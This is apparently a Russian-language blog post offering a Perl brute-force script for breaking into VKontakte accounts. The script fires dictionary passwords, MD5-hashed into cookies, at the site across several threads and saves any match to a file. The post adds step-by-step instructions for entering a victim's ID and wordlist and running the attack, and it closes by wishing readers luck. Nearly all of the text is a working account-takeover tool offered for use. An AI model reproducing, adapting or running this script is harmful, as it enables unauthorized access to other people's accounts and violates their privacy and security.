Взлом В Контакте, статья первая. Этот метод я взял с форума Хакер.ру , рассказал о нем человек под ником Flight
Кстати, на нашем сайте есть ВИДЕО по этому методу ВЗЛОМА ВКОНТАКТЕ!
[link=http://obrute.info/site/vkontakteru-brut-final/#]view plain[/link][link=http://obrute.info/site/vkontakteru-brut-final/#]copy to clipboard[/link][link=http://obrute.info/site/vkontakteru-brut-final/#]print[/link][link=http://obrute.info/site/vkontakteru-brut-final/#]?[/link]#!/usr/bin/perl use IO::Socket; use MD5; use threads; use threads::shared; my @pass : shared; ###################################### # C!klodoL # vkontakte.ru bruteforce with multi-threads ###################################### $dic = 'passl.txt'; #словарь паролей $id = 111111; #id цели $mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40 $threads = 4; #количество потоков ###################################### open (pass, "<$dic"); next: @pass ="" pass(); for(0..$threads) {$trl[$_] ="" threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while (@pass){ $pass = shift @pass; $md5 = MD5->hexhash($pass); $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80); print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". "Host: vkontakte.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: Mozillo\r\n". "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". "Connection: close\r\n\r\n"; $answ = <$sock>; close $sock; print "$pass $answ"; if ($answ =~ /302/){ open (good, '>>good.txt'); print good "$id:$pass:$md5\n"; print "$id:$pass:$md5\n"; close good; exit;} } } goto Next; sub pass { my (@mas); while (<pass>){ push @mas, $_; last if (@mas == 400); } chomp @mas; return @mas; }
$dic = ‘passl.txt’; #словарь паролей
$id = 111111; #id цели
$mail = ‘mail%40mail.com’; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
для начала:
1. тебе нужна прога ActivePerl 5.10.0.1001 я юзаю её.
2. потом из первого поста копируешь себе текст в текстовый файл… и меняешь id жертвы на нужное тебе.
3. переименуй файл из primer.txt в primer.pl
4. туда где лежит этот файл, скопируй файл со словарём, в данном примере это passl.txt
5. запускай файл, и радуйся…
6. создастся good.txt, где и будет твой пасс.
http://www.softportal.com/get-70-activeperl.html ------ ActivePerl 5.10.0.1001
Я это брал с какогото сайта уже не помню но отзывы были 100%!!!!
Всем удачи!!! Источник: www.ublog.ucoz.ru - Секреты и рейтинг ВКонтакте
| 
